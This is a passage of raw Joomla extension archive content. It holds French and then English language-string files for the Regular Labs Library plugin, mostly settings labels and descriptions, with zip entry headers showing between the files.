RL_HEADING_CATEGORY_DESC="Par catégorie descendante"
RL_HEADING_CLIENTID_ASC="Par lieu ascendant"
RL_HEADING_CLIENTID_DESC="Par lieu descendant"
RL_HEADING_COLOR_ASC="Par couleur ascendante"
RL_HEADING_COLOR_DESC="Par couleur descendante"
RL_HEADING_DEFAULT_ASC="Par défaut ascendant"
RL_HEADING_DEFAULT_DESC="Par défaut descendant"
RL_HEADING_DESCRIPTION_ASC="Par description ascendante"
RL_HEADING_DESCRIPTION_DESC="Par description descendante"
RL_HEADING_ID_ASC="Par ID ascendant"
RL_HEADING_ID_DESC="Par ID descendant"
RL_HEADING_LANGUAGE_ASC="Par langue ascendant"
RL_HEADING_LANGUAGE_DESC="Par langue descendant"
RL_HEADING_ORDERING_ASC="Par tri ascendant"
RL_HEADING_ORDERING_DESC="Par tri descendant"
RL_HEADING_PAGES_ASC="Par Eléments de menu ascendants"
RL_HEADING_PAGES_DESC="Par Eléments de menus descendants"
RL_HEADING_POSITION_ASC="Par position ascendante"
RL_HEADING_POSITION_DESC="Par position descendante"
RL_HEADING_STATUS_ASC="Par statut ascendant"
RL_HEADING_STATUS_DESC="Par statut descendant"
RL_HEADING_STYLE_ASC="Par style ascendant"
RL_HEADING_STYLE_DESC="Par style descendant"
RL_HEADING_TEMPLATE_ASC="Par template ascendant"
RL_HEADING_TEMPLATE_DESC="Par template descendant"
RL_HEADING_TITLE_ASC="Par titre ascendant"
RL_HEADING_TITLE_DESC="Par titre descendant"
RL_HEADING_TYPE_ASC="Par type ascendant"
RL_HEADING_TYPE_DESC="Par type descendant"
RL_HEIGHT="Hauteur"
RL_HEMISPHERE="Hémisphère"
RL_HEMISPHERE_DESC="Sélectionnez l'hémisphère où se situe votre site"
RL_HIGH="Haute"
RL_HIKASHOP="HikaShop"
RL_HOME_PAGE="Page d'accueil"
RL_HOME_PAGE_DESC="A l'inverse de la sélection de l'élément de la page d'accueil (par défaut) via les éléments de menu, cela ne concernera que la véritable page d'accueil et non les URLs ayant la même ID que l'élément du menu de l'accueil.<br><br>Cela pourrait ne pas fonctionner avec toutes les extensions SEF tierces."
RL_HTML_LINK="<a href=&quot;[[%2:url%]]&quot; target=&quot;_blank&quot; class=&quot;[[%3:class%]]&quot;>[[%1:text%]]</a>"
RL_HTML_TAGS="Tags HTML"
RL_ICON_ONLY="Icône seul"
RL_IGNORE="Ignorer"
RL_IMAGE="Image"
RL_IMAGE_ALT="Image Alt"
RL_IMAGE_ALT_DESC="valeur Alt de l'image."
RL_IMAGE_ATTRIBUTES="Attributs Image"
RL_IMAGE_ATTRIBUTES_DESC="Attributs supplémentaires de l'image, comme : alt=&quot;Mon image&quot; width=&quot;300&quot;"
RL_IMPORT="Importer"
RL_IMPORT_ITEMS="Importer les éléments."
RL_INCLUDE="Inclure"
RL_INCLUDE_CHILD_CATEGORIES="Inclure les catégories enfants"
RL_INCLUDE_CHILD_ITEMS="Inclure les éléments enfants"
RL_INCLUDE_CHILD_ITEMS_DESC="Inclure également aux éléments enfants les éléments sélectionnés ?"
; RL_INCLUDE_CHILD_TAGS="Include child tags"
RL_INCLUDE_NO_ITEMID="Inclure les éléments de menu sans ID"
RL_INCLUDE_NO_ITEMID_DESC="Affecter également même si aucune ID d'élément de menu n'est défini dans l'URL ?"
RL_INITIALISE_EVENT="Initialisation sur l'événement"
RL_INITIALISE_EVENT_DESC="Définir l'événement Joomla interne sur lequel le plug-in doit être initialisé. Changer cela seulement si vous rencontrez des problèmes avec le plug-in ou qu'il ne fonctionne pas."
RL_INPUT_SYNTAX="Syntaxe d’entrée"
RL_INPUT_TYPE="Type d'entrée"
RL_INPUT_TYPE_ALNUM="Une chaîne contenant uniquement les lettres A-Z et/ou les chiffres 0-9 (non sensible à la casse)."
RL_INPUT_TYPE_ARRAY="Un ensemble."
RL_INPUT_TYPE_BOOLEAN="Une valeur booléenne."
RL_INPUT_TYPE_CMD="Une chaîne contenant les lettres A-Z, les chiffres 0-9, des traits de soulignement, des points ou des traits d'union (non sensible à la casse)."
RL_INPUT_TYPE_DESC="Sélectionnez un type d'entrée :"
RL_INPUT_TYPE_FLOAT="Un nombre à virgule flottante, ou un ensemble de nombres à virgule flottante."
RL_INPUT_TYPE_INT="Un entier, ou un ensemble d'entiers."
RL_INPUT_TYPE_STRING="Une chaîne entièrement décodée et nettoyée (par défaut)."
RL_INPUT_TYPE_UINT="Un entier non signé, ou un ensemble d'entiers non signés."
RL_INPUT_TYPE_WORD="Une chaîne contenant les lettres de A à Z ou des traits de soulignement uniquement (non sensible à la casse)."
RL_INSERT="Insérer"
RL_INSERT_DATE_NAME="Insérer la date / le nom"
RL_IP_RANGES="Adresses IP/Plages"
RL_IP_RANGES_DESC="Liste d'adresses IP et de gammes d'IP séparées par une virgule et/ou un retour à la ligne. Par exemple :<br>127.0.0.1<br>128.0-128.1<br>129"
RL_IPS="Adresses IP"
RL_IS_FREE_VERSION="Ceci est la version GRATUITE de %s."
RL_ITEM="Elément"
RL_ITEM_IDS="Identifiants des éléments"
RL_ITEM_IDS_DESC="Indiquez les identifiants des éléments à assigner. Utilisez un virgules pour les séparer."
RL_ITEMS="Eléments"
RL_ITEMS_DESC="Sélectionnez les articles à assigner."
RL_JCONTENT="Contenu Joomla!"
RL_JED_REVIEW="Vous aimez cette extension? [[%1:start link%]]Laissez un commentaire sur la JED[[%2:end link%]]"
RL_JQUERY_DISABLED="Vous avez désactivé le script jQuery. %s nécessite jQuery pour fonctionner. Assurez-vous que votre template ou d'autres extensions chargent les scripts nécessaires pour remplacer la fonctionnalité requise."
RL_K2="K2"
RL_K2_CATEGORIES="Catégories K2"
; RL_KEEP_ORIGINAL_CATEGORY="Keep original Category"
RL_LANGUAGE="Langue"
RL_LANGUAGE_DESC="Sélectionnez la langue à attribuer."
RL_LANGUAGES="Langues"
RL_LANGUAGES_DESC="Sélectionnez les langues à affecter."
RL_LAYOUT="Mise en page"
RL_LAYOUT_DESC="Sélectionnez la mise en page à utiliser. Vous pouvez remplacer cette mise en page dans le composant ou le template."
RL_LEAVE_EMPTY_FOR_DEFAULT="Définir 0 ou laisser vide pour utiliser le paramètre par défaut."
RL_LEFT="Gauche"
RL_LESS_THAN="Moins de"
RL_LEVELS="Niveaux"
RL_LEVELS_DESC="Sélectionnez les niveaux à assigner."
RL_LIB="Bibliothèque"
RL_LINK_TEXT="Texte du bouton"
RL_LINK_TEXT_DESC="Indiquez dans ce champ le texte à afficher sur le bouton."
RL_LIST="Liste"
RL_LOAD_BOOTSTRAP_FRAMEWORK="Charger Bootstrap"
RL_LOAD_BOOTSTRAP_FRAMEWORK_DESC="Sélectionnez cet option pour charger le Framework Bootstrap (ensemble qui contient des codes HTML et CSS, des formulaires, boutons, outils de navigation et autres éléments interactifs, ainsi que des extensions JavaScript en option)."
RL_LOAD_JQUERY="Charger le script JQuery"
RL_LOAD_JQUERY_DESC="Sélectionnez cette option pour charger le script natif jQuery. Vous pouvez désactiver cette option si vous rencontrez des conflits avec votre template ou d'autres extensions chargeant leur propre version de jQuery."
RL_LOAD_MOOTOOLS="Charger le Core MooTools"
RL_LOAD_MOOTOOLS_DESC="Sélectionnez cette option pour charger le script natif MooTools. Vous pouvez désactiver cette option si vous rencontrez des conflits avec votre template ou d'autres extensions chargeant leur propre version de MooTools."
RL_LOAD_STYLESHEET="Charger les styles css"
RL_LOAD_STYLESHEET_DESC="Sélectionnez 'Oui' pour utiliser la feuille de style par défaut de l'extension.<br>Attention: si vous sélectionnez 'Non', les éléments seront très probablement affichés sans les styles permettant de comprendre leur fonction, à moins que ces styles soient chargés par une autre feuille de style (du template par exemple).<br>Si vous souhaitez adapter les styles par défaut, sélectionnez 'Non' après avoir intégré toutes les classes nécessaires de ces styles dans un autre fichier CSS chargé dans la page."
RL_LOW="Faible"
RL_LTR="De gauche à droite"
RL_MATCH_ALL="Toutes les correspondances"
RL_MATCH_ALL_DESC="Sélectionnez cette option pour n'autoriser l'affectation que si tous les éléments sélectionnés correspondent."
RL_MATCHING_METHOD="Méthode de diffusion"
RL_MATCHING_METHOD_DESC="Faut-il faire correspondre toutes les affectations ou seulement certaines d'entre elles ?<br><br><strong>[[%1:all%]]</strong><br>[[%2:all description%]]<br><br><strong>[[%3:any%]]</strong><br>[[%4:any description%]]"
RL_MAX_LIST_COUNT="Nombre maximum dans la liste"
RL_MAX_LIST_COUNT_DESC="Nombre maximum d'éléments à afficher dans les listes à sélection multiple. Si le nombre total des éléments est plus élevé, le champ de sélection sera affiché comme un champ texte.<br>Vous pouvez diminuer ce nombre si vos temps de chargement sont trop longs en raison du nombre élevé d'éléments dans les listes."
RL_MAX_LIST_COUNT_INCREASE="Augmenter le nombre maximal dans les listes"
RL_MAX_LIST_COUNT_INCREASE_DESC="S'il y a plus de [[%1:max%]] éléments.<br><br>Pour éviter une lenteur de chargement, ce champ est affiché comme une zone de texte au lieu d'une liste de sélection dynamique.<br><br>Vous pouvez augmenter le '[[%2:max setting%]]' dans les paramètres du plugin Regular Labs Library."
RL_MAXIMIZE="Agrandir"
RL_MEDIA_VERSIONING="Utilisez Media Versioning"
RL_MEDIA_VERSIONING_DESC="Sélectionnez cette option pour ajouter le numéro de version de l'extension à la fin des urls des médias (js/css) pour forcer les navigateurs à charger le fichier correct."
RL_MEDIUM="Moyenne"
RL_MENU_ITEMS="Eléments de menus"
RL_MENU_ITEMS_DESC="Sélectionnez les éléments de menu à affecter."
RL_META_KEYWORDS="Meta Mots clés"
RL_META_KEYWORDS_DESC="Indiquez les mots-clés trouvés dans les meta keywords du cotenu. Utilisez des virgules pour séparer les mots-clés."
RL_MIJOSHOP="MijoShop"
RL_MINIMIZE="Réduire"
RL_MOBILE_BROWSERS="Explorateurs mobiles"
RL_MOD="Module"
RL_MODULE_HAS_BEEN_DISABLED="Le module [[%1:extension%]] a été dépublié !"
RL_MONTHS="Mois"
RL_MONTHS_DESC="Sélectionnez le mois à affecter."
RL_MORE_INFO="Plus d'informations"
RL_MORE_INFO_PHP_DATES="Pour davantage de formats de date, consultez <a href=&quot;[[%1:url%]]&quot; target=&quot;_blank&quot;>la documentation PHP</a>."
RL_MUST_CONTAIN="Doit contenir"
RL_MY_STRING="Ma chaîne !"
RL_N_ITEMS_ARCHIVED="%s articles archivés."
RL_N_ITEMS_ARCHIVED_1="%s article archivé."
RL_N_ITEMS_CHECKED_IN_0="Aucun élément déverrouillé."
RL_N_ITEMS_CHECKED_IN_1="%d élément déverrouillé."
RL_N_ITEMS_CHECKED_IN_MORE="%d éléments déverrouillés."
RL_N_ITEMS_DELETED="%s éléments supprimés."
RL_N_ITEMS_DELETED_1="%s élément supprimé."
RL_N_ITEMS_FEATURED="%s articles mis en vedette."
RL_N_ITEMS_FEATURED_1="%s article mis en vedette."
RL_N_ITEMS_PUBLISHED="%s éléments publiés."
RL_N_ITEMS_PUBLISHED_1="%s élément publié."
RL_N_ITEMS_TRASHED="%s éléments mis dans la corbeille."
RL_N_ITEMS_TRASHED_1="%s élément mis dans la corbeille."
RL_N_ITEMS_UNFEATURED="%s articles retirés de 'En vedette'."
RL_N_ITEMS_UNFEATURED_1="%s article retiré de 'En vedette'."
RL_N_ITEMS_UNPUBLISHED="%s éléments dépubliés."
RL_N_ITEMS_UNPUBLISHED_1="%s élément dépublié."
RL_N_ITEMS_UPDATED="%d éléments mis à jour."
RL_N_ITEMS_UPDATED_1="Un élément a été mis à jour"
RL_NEW_CATEGORY="Nouvelle catégorie"
RL_NEW_CATEGORY_ENTER="Indiquez le nom de la nouvelle catégorie à créer."
RL_NEW_VERSION_AVAILABLE="Nouvelle version disponible"
RL_NEW_VERSION_OF_AVAILABLE="Une nouvelle version de %s est disponible"
RL_NO_ICON="Pas d'icône"
RL_NO_ITEMS_FOUND="Pas d'éléments trouvés."
RL_NORMAL="Normal"
RL_NORTHERN="Nord"
RL_NOT="Non"
RL_NOT_COMPATIBLE_WITH_JOOMLA_VERSION="Votre version installée de [[%1:extension%]] n’est pas compatible avec Joomla [[%2:version%]].<br>Vérifiez s’il existe une version de [[%1:extension%]] disponible pour Joomla [[%2:version%]] et installez-la."
RL_NOT_CONTAINS="Ne contient pas"
RL_NOT_ENABLED_IN_FRONTEND="Non activé en frontal du site"
RL_NOT_EQUALS="N'est pas égal à"
RL_ONLY="Uniquement"
RL_ONLY_AVAILABLE_IN_JOOMLA="Disponible uniquement dans Joomla %s ou supérieurs."
RL_ONLY_AVAILABLE_IN_PRO="<em>Uniquement disponible dans la version PRO!</em>"
RL_ONLY_AVAILABLE_IN_PRO_LIST_OPTION="(Uniquement disponible dans la version PRO)"
RL_ONLY_VISIBLE_TO_ADMIN="Ce message sera uniquement affiché aux (super) administrateurs."
RL_OPTION_SELECT="- Sélectionner -"
RL_OPTION_SELECT_CLIENT="- Sélection Client -"
RL_ORDER_DIRECTION_PRIMARY="Ordre principal"
RL_ORDER_DIRECTION_SECONDARY="Ordre secondaire"
RL_ORDERING="Ordre de tri"
RL_ORDERING_PRIMARY="Ordre de tri principal"
RL_ORDERING_SECONDARY="Ordre de tri secondaire"
RL_OS="Systèmes d'exploitation"
RL_OS_DESC="Sélectionnez les système d'exploitation à assigner. Garder à l'esprit que la détection du système d'exploitation n'est pas garantie à 100&#37;. Les utilisateurs peuvent configurer leur explorateur pour simuler un autre système d'exploitation."
RL_OTHER="Autre"
RL_OTHER_AREAS="Autres zones"
RL_OTHER_OPTIONS="Autres options"
RL_OTHER_SETTINGS="Autres réglages"
RL_OTHERS="Autres"
RL_OUTPUT_EXAMPLE="Exemple de Sortie"
RL_PAGE_TYPES="Types de pages"
RL_PAGE_TYPES_DESC="Sélectionnez sur quels types de pages l'affectation doit être active."
RL_PARAGRAPHS="Paragraphes"
RL_PHP="PHP personnalisé"
RL_PHP_DESC="Entrez un morceau de code PHP à évaluer. Le code doit retourner la valeur 'true' ou 'false'.<br>Par exemple:<br>[[%1:code%]]"
RL_PLACE_HTML_COMMENTS="Afficher les commentaires"
RL_PLACE_HTML_COMMENTS_DESC="Par défaut, les commentaires HTML sont affichés à la suite de cette extension.<br>Ces commentaires peuvent vous aider à régler des problèmes lorsque vous n'obtenez pas ce qui devrait être.<br>Si vous souhaitez ne pas afficher ces commentaires, mettez cette option sur 'Non'."
; RL_PLEASE_WAIT="Please wait..."
RL_PLG_ACTIONLOG="Plugin journal des actions"
RL_PLG_EDITORS-XTD="Plugin bouton de l'éditeur"
RL_PLG_FIELDS="Champ du plugin"
RL_PLG_SYSTEM="Plugin Système"
RL_PLUGIN_HAS_BEEN_DISABLED="Le plugin [[%1:extension%]] a été désactivé !"
RL_POSTALCODES="Codes Postaux"
RL_POSTALCODES_DESC="Liste des codes postaux (12345) ou des plages de codes postaux (12300-12500) séparés par une virgule.<br>Ceci ne peut être utilisé que pour [[%1:start link%]]un nombre limité de pays et d'adresses IP[[%2:end link%]]."
RL_POWERED_BY="Généré par %s"
RL_PRODUCTS="Produits"
RL_PUBLISHED_DESC="Désactiver temporairement cet élément."
RL_PUBLISHING_ASSIGNMENTS="Publication d'affectations"
RL_PUBLISHING_SETTINGS="Publier les éléments"
RL_RANDOM="Aléatoire"
RL_REDSHOP="RedShop"
RL_REGEX="Expressions régulières"
RL_REGIONS="Régions / Etats"
RL_REGIONS_DESC="Sélectionnez les régions/états à assigner."
RL_REGULAR_EXPRESSIONS="Utiliser les expressions régulières"
RL_REGULAR_EXPRESSIONS_DESC="Sélectionnez pour traiter les valeurs en tant qu'expressions régulières."
RL_REGULAR_LABS_DOWNLOAD_KEY="Clé de téléchargement Regular Labs"
; RL_REGULAR_LABS_EXTENSIONS="Regular Labs extensions"
RL_REMOVE_IN_DISABLED_COMPONENTS="Tronquer la syntaxe si inactif"
RL_REMOVE_IN_DISABLED_COMPONENTS_DESC="Sélectionnez 'Oui' pour supprimer les balises du plug-in dans le code des pages des composants pour lesquels la prise en charge de la syntaxe a été désactivée (voir paramètre ci-dessus)."
RL_RESIZE_IMAGES="Redimensionner les images"
RL_RESIZE_IMAGES_CROP="Recadrage"
RL_RESIZE_IMAGES_CROP_DESC="L'image redimensionnée aura toujours la largeur et la hauteur définies."
RL_RESIZE_IMAGES_DESC="Si cette option est sélectionnée, les images redimensionnées seront automatiquement créées pour compléter celles qui n'existent pas encore. Les images redimensionnées seront créées en utilisant les paramètres ci-dessous."
RL_RESIZE_IMAGES_FILETYPES="Uniquement sur les types de fichiers"
RL_RESIZE_IMAGES_FILETYPES_DESC="Sélectionnez les types de fichiers à redimensionner."
RL_RESIZE_IMAGES_FOLDER="Dossier"
RL_RESIZE_IMAGES_FOLDER_DESC="Le dossier contenant les images redimensionnées. Il s'agit d'un sous-dossier du dossier contenant les images originales."
RL_RESIZE_IMAGES_HEIGHT_DESC="Définissez la hauteur de l'image redimensionnée en pixels (exemple : 180)."
; RL_RESIZE_IMAGES_MAX_AGE="Max Age"
; RL_RESIZE_IMAGES_MAX_AGE_DESC="The maximum age of the resized image in days. If the resized image is older than this, it will be recreated.<br>Set to 0 to never recreate the resized image if they already exist."
RL_RESIZE_IMAGES_NO_HEIGHT_DESC="La hauteur sera calculée sur la base de la largeur définie ci-dessus et du ratio de l'image originale."
RL_RESIZE_IMAGES_NO_WIDTH_DESC="La largeur sera calculée en fonction de la hauteur définie ci-dessous et du ratio de l'image originale."
RL_RESIZE_IMAGES_QUALITY="Qualité JPG"
RL_RESIZE_IMAGES_QUALITY_DESC="La qualité des images redimensionnées. Choisissez entre faible, moyen ou élevé. Plus la qualité est élevée, plus les fichiers résultants sont volumineux.<br>Ce réglage ne concerne que les images de format JPG."
; RL_RESIZE_IMAGES_RETINA_PIXEL_DENSITY="Retina Pixel Density"
; RL_RESIZE_IMAGES_RETINA_PIXEL_DENSITY_DESC="The pixel density of retina displays. This is the density at which the double sized retina image is used."
RL_RESIZE_IMAGES_SCALE="Échelle"
RL_RESIZE_IMAGES_SCALE_DESC="L'image redimensionnée le sera à la largeur ou la hauteur maximale en conservant le ratio de l'image originale."
RL_RESIZE_IMAGES_SCALE_USING="Échelle utilisant..."
RL_RESIZE_IMAGES_SCALE_USING_DESC="Choisissez si vous voulez redimensionner les images en utilisant la largeur ou la hauteur maximale. L'autre dimension sera calculée sur la base du ratio de l'image originale."
RL_RESIZE_IMAGES_TYPE="Méthode de redimensionnement"
RL_RESIZE_IMAGES_TYPE_DESC="Définissez le type de redimensionnement."
; RL_RESIZE_IMAGES_USE_RETINA="Use Retina Images"
; RL_RESIZE_IMAGES_USE_RETINA_DESC="If selected, double size images will be created and used for retina displays."
RL_RESIZE_IMAGES_USE_WIDTH_OR_HEIGHT="Set"
RL_RESIZE_IMAGES_USE_WIDTH_OR_HEIGHT_DESC="Choisissez si vous voulez redimensionner les images en utilisant la largeur ou la hauteur maximale."
RL_RESIZE_IMAGES_WIDTH_DESC="Définissez la largeur de l'image redimensionnée en pixels (exemple : 320)."
; RL_RESIZE_SETTINGS="Resize Settings"
RL_RIGHT="Droite"
RL_RTL="De droite à gauche"
RL_SAVE_CONFIG="Après avoir sauvegarder les options, il n'apparaîtra plus lors du chargement de la page."
RL_SCROLL="Défilement"
RL_SEASONS="Saisons"
RL_SEASONS_DESC="Sélectionnez la saison à affecter."
RL_SELECT="Sélectionner"
RL_SELECT_A_CATEGORY="Sélectionner une catégorie"
RL_SELECT_ALL="Sélectionner tout"
RL_SELECT_AN_ARTICLE="Sélectionnez un article"
RL_SELECT_FIELD="Sélectionnez un champ"
; RL_SELECT_OR_CREATE_A_CATEGORY="Select or Create a Category"
RL_SELECTED="Sélectionné(e)"
RL_SELECTION="Sélection"
RL_SELECTION_DESC="Sélectionnez pour inclure ou exclure la sélection pour l'assignation.<br><br><strong>Inclure</strong><br>Publier uniquement dans la sélection.<br><br><strong>Exclure</strong><br>Publier partout sauf dans la sélection."
; RL_SET_CATEGORY="Set Category"
; RL_SET_COLOR="Set Colour"
RL_SETTINGS_ADMIN_MODULE="Options du module d'administration"
RL_SETTINGS_EDITOR_BUTTON="Paramètres du bouton"
RL_SETTINGS_SECURITY="Paramètres de sécurité"
RL_SHOW_ASSIGNMENTS="Options d'assignation"
RL_SHOW_ASSIGNMENTS_DESC="Sélectionnez si vous souhaitez uniquement visualiser les assignations sélectionnées. Ceci vous permet d'avoir un vision claire des assignations actives."
RL_SHOW_ASSIGNMENTS_SELECTED_DESC="Tous les types d'assignation noon-sélectionnés sont maintenant cachés."
RL_SHOW_COPYRIGHT="Afficher le Copyright"
RL_SHOW_COPYRIGHT_DESC="Si sélectionné, des informations complémentaires quant au copyright seront affichées dans les vues d'administration. Les extensions Regular Labs n'affichent jamais d'informations de copyright ou des backlinks en frontend."
RL_SHOW_HELP_MENU="Afficher le menu d'aide"
RL_SHOW_HELP_MENU_DESC="Sélectionnez cette option pour afficher un lien vers le site web de Regular Labs dans le menu Aide de l'administrateur."
RL_SHOW_ICON="Montrer l'icone du bouton"
RL_SHOW_ICON_DESC="Si sélectionné, l'icone apparaîtra dans le bouton de l'éditeur."
RL_SHOW_UPDATE_NOTIFICATION="Afficher les notifications de mises à jour"
RL_SHOW_UPDATE_NOTIFICATION_DESC="Si sélectionné, une notification de mise à jour sera affichée dans la fenêtre principale du composant lorsqu'une nouvelle version est disponible."
RL_SIMPLE="Simple"
RL_SLIDES="Diapositives"
RL_SOUTHERN="Sud"
RL_SPECIFIC="Spécifique"
RL_SPECIFY="Préciser"
RL_SPRING="Printemps"
RL_START="Démarrer"
RL_START_PUBLISHING="Début de publication"
RL_START_PUBLISHING_DESC="Entrez la date de début de publication"
RL_STRIP_HTML_IN_HEAD="Supprimer HTML dans l'en-tête"
RL_STRIP_HTML_IN_HEAD_DESC="Sélectionner pour supprimer les balises html de la sortie du plugin dans la section en-tête HTML"
RL_STRIP_SURROUNDING_TAGS="Enlever les balises HTML"
RL_STRIP_SURROUNDING_TAGS_DESC="Sélectionnez cette option pour supprimer systématiquement les balises HTML (div, p, span) entourant la balise du plug-in. Si désactivé, le plugin va essayer de supprimer lui-même les balises qui cassent la structure html (comme p à l'intérieur de balises p)."
RL_STYLING="Styles"
RL_SUBITEMS="Sous-éléments"
RL_SUMMER="Été"
RL_TABLE_NOT_FOUND="La table %s requise en base de données n'a pas été trouvée!"
RL_TABS="Onglets"
RL_TAG_CHARACTERS="Caractères des tags"
RL_TAG_CHARACTERS_DESC="Caractères d'encadrement des balises de tags.<br><strong>Attention:</strong> si vous modifiez ce paramètre, tous les tags déjà existants ne fonctionneront plus."
RL_TAG_SYNTAX="Syntaxe des tags"
RL_TAG_SYNTAX_DESC="Syntaxe des balises de tags.<br><strong>Attention:</strong> si vous modifiez ce paramètre, tous les tags déjà existants ne fonctionneront plus."
RL_TAGS="Etiquettes"
RL_TAGS_DESC="Indiquez les étiquettes à assigner. Utilisez des virgules pour les séparer."
RL_TEMPLATES="Templates"
RL_TEMPLATES_DESC="Sélectionnez les templates à affecter."
RL_TEXT="Texte"
RL_TEXT_HTML="Texte (HTML)"
RL_TEXT_ONLY="Texte seul"
RL_THEME="Thème"
RL_THEME_DESC="Sélectionne le thème par défaut."
RL_THIS_EXTENSION_NEEDS_THE_MAIN_EXTENSION_TO_FUNCTION="Cette extension a besoin de %s pour fonctionner correctement!"
RL_TIME="Heure"
RL_TIME_FINISH_PUBLISHING_DESC="Entrez l' heure de fin de publication.<br><br><strong>Format:</strong> 23:59"
RL_TIME_START_PUBLISHING_DESC="Entrez l' heure de début de publication.<br><br><strong>Format:</strong> 23:59"
RL_TOGGLE="Basculer"
RL_TOGGLE_SELECTION="Basculer la sélection"
RL_TOOLTIP="Info-bulle"
RL_TOP="Haut"
; RL_TOP_LEFT="Top Left"
; RL_TOP_RIGHT="Top Right"
RL_TOTAL="total"
RL_TYPE="Type"
RL_TYPES="Types"
RL_TYPES_DESC="Sélectionnez les types auxquels assigner."
RL_UNSELECT_ALL="Désélectionner tout"
RL_UNSELECTED="Non sélectionné(e)"
RL_UPDATE_TO="Mettre à jour vers la version %s"
RL_URL="URLs"
RL_URL_PARAM_NAME="Nom du paramètre"
RL_URL_PARAM_NAME_DESC="Entrez le nom du paramètre de l'url."
RL_URL_PARTS="URL Affectées"
; RL_URL_PARTS_CASE_SENSITIVE="Url parts will be only match if casing is exactly the same."
RL_URL_PARTS_DESC="Entrer (la partie de) l'URL à affecter.<br>Utiliser une nouvelle ligne pour chaque URL différente."
RL_URL_PARTS_REGEX="Les segments d'URL seront comparés en utilisant des expressions. <strong>Assurez-vous que la chaîne utilise une syntaxe regex valide.</strong>"
RL_USE_CATEGORIES="Activer les catégories"
; RL_USE_CATEGORIES_DESC="Enable to use categories and show the category column in the list view."
RL_USE_COLORS="Activer les couleurs"
; RL_USE_COLORS_DESC="Enable to use colours and show the colour column in the list view."
RL_USE_CONTENT_ASSIGNMENTS="Pour les assignations des catégories et articles, voir la section du contenu Joomla! ci-dessus."
RL_USE_CUSTOM_CODE="Utiliser du code personnalisé"
RL_USE_CUSTOM_CODE_DESC="Sélectionnez 'Oui' pour remplacer le code inséré par le bouton par celui que vous spécifiez dans le champ qui s'affiche ci-dessous après sélection du 'Oui'."
RL_USE_SIMPLE_BUTTON="Simple bouton"
RL_USE_SIMPLE_BUTTON_DESC="Sélectionnez cette option pour utiliser un simple bouton d'insertion n'insèrant qu'une syntaxe exemple dans l'éditeur."
RL_USER_ACTION_LOGS="Journaux d’actions utilisateur"
RL_USER_GROUP_LEVELS="Groupes d'utilisateurs"
RL_USER_GROUPS="Groupes d'utilisateurs"
RL_USER_GROUPS_DESC="Sélectionnez les groupes d'utilisateurs auxquels assigner"
RL_USER_IDS="IDs des utilisateurs"
RL_USER_IDS_DESC="Entrez les IDs des utilisateurs à affecter. Utilisez des virgules pour séparer les IDs."
RL_USERS="Utilisateurs"
RL_UTF8="UTF-8"
RL_VALUE="Valeur"
RL_VIDEO="Vidéo"
RL_VIEW="Vue"
RL_VIEW_DESC="Sélectionnez la vue par défaut à utiliser lors de la création d'un nouvel élément."
RL_VIRTUEMART="VirtueMart"
RL_WIDTH="largeur"
RL_WINTER="Hiver"
RL_WORDS="Mots"
RL_WRAP="Envelopper"
RL_ZOO="ZOO"
RL_ZOO_CATEGORIES="Categories ZOO"
PK�(]�`zWWFsystem/regularlabs/language/en-GB/en-GB.plg_system_regularlabs.sys.ininu�[���;; @package         Regular Labs Library
;; @version         23.2.18739
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_SYSTEM_REGULARLABS="System - Regular Labs Library"
PLG_SYSTEM_REGULARLABS_DESC="Regular Labs Library - used by Regular Labs extensions"
REGULAR_LABS_LIBRARY="Regular Labs Library"
PK�(]�SZ04�4�Bsystem/regularlabs/language/en-GB/en-GB.plg_system_regularlabs.ininu�[���;; @package         Regular Labs Library
;; @version         23.2.18739
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_SYSTEM_REGULARLABS="System - Regular Labs Library"
PLG_SYSTEM_REGULARLABS_DESC="Regular Labs Library - used by Regular Labs extensions"
REGULAR_LABS_LIBRARY="Regular Labs Library"

REGULAR_LABS_LIBRARY_DESC="[[%1:warning%]]The Regular Labs extensions need this plugin and will not function without it.<br><br>Regular Labs extensions include:[[%2:extensions%]]"
REGULAR_LABS_LIBRARY_DESC_WARNING="Do not uninstall or disable this plugin if you are using any Regular Labs extensions."

COM_CONFIG_RL_ACTIONLOG_FIELDSET_LABEL="User Actions Log"
COM_CONFIG_RL_TAG_SYNTAX_FIELDSET_LABEL="Tag Syntax"
COM_MODULES_DESCRIPTION_FIELDSET_LABEL="Description"
COM_MODULES_RL_BEHAVIOUR_FIELDSET_LABEL="Behaviour"
COM_PLUGINS_DESCRIPTION_FIELDSET_LABEL="Description"
COM_PLUGINS_RL_BEHAVIOUR_FIELDSET_LABEL="Behaviour"
COM_PLUGINS_RL_DEFAULT_SETTINGS_FIELDSET_LABEL="Default Settings"
COM_PLUGINS_RL_MEDIA_FIELDSET_LABEL="Media"
COM_PLUGINS_RL_SETTINGS_ADMIN_MODULE_FIELDSET_LABEL="Administrator Module Options"
COM_PLUGINS_RL_SETTINGS_EDITOR_BUTTON_FIELDSET_LABEL="Editor Button Options"
COM_PLUGINS_RL_SETTINGS_SECURITY_FIELDSET_LABEL="Security Options"
COM_PLUGINS_RL_SETUP_FIELDSET_LABEL="Setup"
COM_PLUGINS_RL_STYLING_FIELDSET_LABEL="Styling"
COM_PLUGINS_RL_TAG_SYNTAX_FIELDSET_LABEL="Tag Syntax"

RL_ACCESS_LEVELS="Access Levels"
RL_ACCESS_LEVELS_DESC="Select the access levels to assign to."
RL_ACTION_CHANGE_DEFAULT="Change Default"
RL_ACTION_CHANGE_STATE="Change Publish State"
RL_ACTION_CREATE="Create"
RL_ACTION_DELETE="Delete"
RL_ACTION_INSTALL="Install"
RL_ACTION_UNINSTALL="Uninstall"
RL_ACTION_UPDATE="Update"
RL_ACTIONLOG_EVENTS="Events To Log"
RL_ACTIONLOG_EVENTS_DESC="Select the actions to include in the User Actions Log."
RL_ADD_BUTTON_TEXT="Add Button Text"
RL_ADD_BUTTON_TEXT_DESC="Select to show a text in the button."
RL_ADMIN="Admin"
RL_ADMIN_MODULE_HAS_BEEN_DISABLED="The [[%1:extension%]] administrator module has been unpublished!"
RL_ADVANCED="Advanced"
RL_AFTER="After"
